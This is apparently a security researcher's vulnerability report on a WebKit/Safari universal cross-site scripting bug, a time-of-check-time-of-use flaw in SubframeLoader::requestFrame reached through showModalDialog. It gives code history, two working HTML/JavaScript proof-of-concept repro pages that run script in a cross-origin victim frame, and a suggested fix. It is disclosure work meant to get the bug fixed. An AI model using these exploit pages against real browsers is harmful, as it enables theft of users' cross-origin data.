BACKGROUND
As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121,
WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform
synchronous cross-origin page loads. In certain conditions, this might lead to
time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In
particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve
UXSS.

(copied from lokihardt's report)
```
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);

    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();

    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;

    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

    return true;
}
```

The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL`
call.
```
-    if (!scriptURL.isEmpty())
+    if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
         frame->script().executeIfJavaScriptURL(scriptURL);
```

It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203
was reported, which abused the HTML parser to bypass the added check. The problem was that
`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was
empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed
to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler
to load a cross-origin page inside `loadOrRedirectSubframe`.

As a result, another check has been added (see the comment below):
```
+    bool hasExistingFrame = ownerElement.contentFrame();
     Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList);
     if (!frame)
         return false;
 
-    if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
+    // If we create a new subframe then an empty document is loaded into it synchronously and may
+    // cause script execution (say, via a DOM load event handler) that can do anything, including
+    // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated.
+    bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL());
+    if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL))
         frame->script().executeIfJavaScriptURL(scriptURL);
```

VULNERABILITY DETAILS
The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an
`iframe` element with an existing content frame. However, due to the way the node insertion
algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in
progress:

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185
```
static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child,
    ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion)
{
    NodeVector postInsertionNotificationTargets;
    {
        ScriptDisallowedScope::InMainThread scriptDisallowedScope;

        if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree()))
            containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval();

        doNodeInsertion();
        ChildListMutationScope(containerNode).childAdded(child);
        postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child);
    }

[...]

    ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child));
    for (auto& target : postInsertionNotificationTargets)
        target->didFinishInsertingNode();
[...]
```

Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a
subtree which is being inserted contains multiple `iframe` elements, the first one can act as a
trigger for the JavaScript code that creates a content frame for another element right before its
`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can
be tricked with the help of the HTML parser.

It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On
the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put
an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this
is to save a gesture token by performing an asynchronous load of a `javascript:` URI.

VERSION
Safari 12.0.3 (14606.4.5)
WebKit r243998

REPRODUCTION CASE
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run() {
  if (++counter == 2) {
    parent_frame = frame.contentDocument.querySelector("iframe");
    frame1 = parent_frame.appendChild(document.createElement("iframe"));
    frame2 = parent_frame.appendChild(document.createElement("iframe"));
    frame1.src = "javascript:top.runChild()";
  }
}

let child_counter = 0;
function runChild() {
  if (++child_counter == 2) {
    parent_frame.appendChild(frame2);

    a = frame2.contentDocument.createElement("a");
    a.href = cache_frame.src;
    a.click();
    
    showModalDialog(URL.createObjectURL(new Blob([`
      <script>
        let intervalID = setInterval(() => {
          try {
            opener.frame.document.foo;
          } catch (e) {
            clearInterval(intervalID);

            window.close();
          }
        }, 100);
      </scr` + "ipt>"], {type: "text/html"})));
    frame2.src = "javascript:alert(document.documentElement.outerHTML)";
  }
}

onclick = _ => {
  frame = document.body.appendChild(document.createElement("iframe"));
  frame.contentWindow.location = `javascript:'<b><p><iframe`
      + ` src="javascript:top.run()"></iframe></b></p>'`;
}

cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>


From WebKit's bugtracker:

Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit
has blocked the original repro case because it relies on executing javascript: URIs synchronously,
the underlying issue is still not fixed.

Currently, `requestFrame` is implemented as follows:
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
[...]
    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1***
    if (!frame)
        return false;

    if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) {
        // FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case.
        // Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585).
        if (urlString == "javascript:''" || urlString == "javascript:\"\"")
            frame->script().executeIfJavaScriptURL(scriptURL);
        else
            frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2***
    }

    return true;
}

By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a
cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin
context.

Updated repro:
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run(event) {
  ++counter;
  if (counter == 2) {
    event.target.src = "javascript:alert(document.documentElement.outerHTML)";
  } else if (counter == 3) {
    frame = event.target;

    a = frame.contentDocument.createElement("a");
    a.href = cache_frame.src;
    a.click();

    showModalDialog(URL.createObjectURL(new Blob([`
      <script>
        let intervalID = setInterval(() => {
          try {
            opener.frame.document.foo;
          } catch (e) {
            clearInterval(intervalID);

            window.close();
          }
        }, 100);
      </scr` + "ipt>"], {type: "text/html"})));
  }
}

onclick = _ => {
  frame = document.body.appendChild(document.createElement("iframe"));
  frame.contentWindow.location = `javascript:'<b><p><iframe`
      + ` onload="top.run(event)"></iframe></b></p>'`;
}

cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>

I'd recommend you consider applying a fix similar to the one that the Blink team has in
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62,
i.e. using the frame's owner document as a fallback for the security check.